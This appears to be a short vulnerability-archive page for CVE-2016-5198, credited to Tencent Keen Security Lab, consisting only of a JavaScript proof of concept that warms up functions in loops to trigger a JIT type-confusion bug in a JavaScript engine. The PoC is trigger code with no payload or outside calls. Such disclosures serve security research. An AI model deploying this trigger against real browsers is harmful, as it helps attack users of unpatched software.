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CVE-2016-5198.md

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CVE-2016-5198

  • Date: Oct 2016
  • Credit: Tencent Keen Security Lab

PoC

function Ctor() {
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
  parseInt();
}
for(var i=0; i<2000; ++i) {
  Ctor();
}
for(var i=0; i<2000; ++i) {
  Check();
}
Ctor();
Check();

Reference